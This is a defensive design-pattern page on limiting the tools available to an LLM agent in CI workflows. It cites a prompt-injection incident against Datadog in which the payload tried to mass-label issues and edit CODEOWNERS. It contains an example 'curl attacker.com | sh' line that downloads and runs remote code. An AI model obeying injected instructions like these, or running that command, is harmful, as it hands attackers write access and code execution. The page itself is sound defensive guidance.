PATTERN Cited by 2 sources
Minimally-scoped LLM tools¶
Problem: LLM-powered CI actions give the LLM access to
tools (Read, Edit, Bash, gh). Even with prompt-side
isolation (patterns/untrusted-input-via-file-not-prompt),
a successful prompt injection
that redirects the LLM's behaviour can weaponize any tool the
LLM is allowed to use.
Pattern: Constrain the LLM's tool surface to the
narrowest possible scope — named files, named commands,
minimum privilege. No generic Read. No generic Bash.
Shape¶
- uses: anthropics/claude-code-action@v1
with:
claude_args: "--allowedTools 'Read(./pr.json),Edit(./category.txt)'"
Specifically:
Read(./pr.json)— LLM can read onlypr.json. Not.github/workflows/, not/etc/passwd, not.env.production.Edit(./category.txt)— LLM can write only tocategory.txt. NotCODEOWNERS, not.github/, not any file outside the intended output.- No
Bashallowed.Bashgives the LLM arbitrary command execution; even well-constrained paths aren't enough if the LLM canbash -c "curl attacker.com | sh".
Why it matters¶
hackerbot-claw's prompt-injection
payload against Datadog's assign_issue_triage.yml tried to:
- List every open issue (
gh issue list). - Label all of them (
gh issue edit ... --add-label). - Append an entry to
.github/CODEOWNERS. - Create a
claude.txtfile with a fun story.
If Datadog's Claude step had allowedTools defaulting to the
full set, a successful prompt injection could have completed
most of the list. The
file-read
pattern made the initial injection less likely to land; but
--allowedTools would have eliminated the failure mode of
"if injection lands, attacker gets write access to the repo."
Datadog's published defence doesn't show Claude was artificially restricted, and Claude refused the injection anyway — but Datadog's five-pattern playbook names this pattern exactly to reduce dependence on probabilistic injection resistance.
Related patterns¶
- patterns/tool-surface-minimization — the more general MCP-server-design version of this pattern; names the same discipline as a design axis with three levers: flexible tools, opt-in toolsets, tool-chaining / layering.
- patterns/untrusted-input-via-file-not-prompt — reduces injection likelihood.
- patterns/llm-output-as-untrusted-input — catches injection propagation even if tool scoping has gaps.
All three + "use recent models" + "keep secrets out of the LLM step" make up Datadog's five-pattern defensive playbook from the 2026-03-09 post.
Seen in¶
- sources/2026-03-09-datadog-when-an-ai-agent-came-knocking
—
--allowedTools 'Read(./pr.json),Edit(./category.txt)'snippet is the canonical reference. - sources/2026-07-23-databricks-intent-based-authorization-omnigent — contrasts static tool scoping (this pattern) with dynamic intent-based authorization: tool removal is too coarse when the same agent handles multiple job types. Intent gating keeps tools available but restricts per-session, complementing static scoping.
Related¶
- concepts/prompt-injection — the attack class this pattern reduces blast radius for.
- systems/anthropics-claude-code-action — the tool-scoping-capable LLM action.
- patterns/untrusted-input-via-file-not-prompt, patterns/llm-output-as-untrusted-input — sibling defensive patterns.
- patterns/intent-based-authorization — dynamic per-session alternative when static tool removal is too coarse.
- systems/omnigent — implements dynamic intent-gating as a complement to static scoping.